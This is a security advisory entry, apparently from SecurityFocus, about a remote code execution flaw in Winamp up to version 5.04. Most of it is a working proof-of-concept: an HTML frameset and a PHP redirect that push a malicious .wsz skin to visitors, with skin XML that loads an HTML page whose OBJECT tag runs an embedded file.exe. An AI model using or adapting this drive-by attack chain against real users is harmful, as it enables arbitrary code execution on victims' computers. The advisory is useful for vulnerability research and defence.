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2 KiB
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90 lines
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2 KiB
Text
source: https://www.securityfocus.com/bid/11053/info
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A vulnerability in Winamp has been discovered that may permit remote attackers to execute arbitrary code on client computers through a malicious .WSZ Winamp skin file. This issue is currently being exploited in the wild.
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This vulnerability may be exploited through a Web site, or any other means that will allow the attacker to transmit the malicious file to a victim user.
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This vulnerability is reported to affect all versions of Winamp up to and including 5.04.
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index.html
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-----------
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<html>
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<head>
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</head>
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<frameset rows="*,1" framespacing="0" border="0" frameborder="NO">
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<frame src="load.php" name="frame_content" scrolling="auto" noresize>
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</frameset>
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<noframes>
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<body>
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</body>
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</noframes>
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</html>
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Load.php
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---------
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<?php
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$httpref = $HTTP_REFERER;
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header("Location: http://URL/foo.wsz");
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?>
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foo.wsz (foo.zip)
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-----------------
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/frame/
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/maki/
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/shade/
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/html/
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/html/file.exe (malicious file to execute)
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/html/test.htm (html to load the .exe)
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/player/
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/player/Thumbs.db
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/xml/
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/xml/includes.xml
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/xml/player-normal.xml
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/xml/player.xml
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/skin.xml
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/html/test.htm
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----------------
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<html>
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<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111123' CODEBASE='file.exe'>
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</html>
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/xml/includes.xml
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-------------------
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<include file="player.xml"/>
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/xml/player-normal.xml
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-------------------------
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<layout>
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<browser id="browser" x="0" y="0" w="0" h="0" relatw="1" relath="1" url="file:///@SKINPATH@html/test.htm" />
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</layout>
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/xml/player.xml
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-----------------
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<container id="main" name="main">
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<include file="player-normal.xml"/>
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</container>
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/skin.xml
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---------
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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
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<WinampAbstractionLayer version="1.1">
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<skininfo>
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<version>1.0</version>
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<name>Batman</name>
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<comment></comment>
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<author>Petrol Designs</author>
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<email>info@petroldesigns.com</email>
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<homepage>http://www.petroldesigns.com</homepage>
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</skininfo>
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<include file="xml/includes.xml"/>
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<!--
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-->
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</WinampAbstractionLayer> |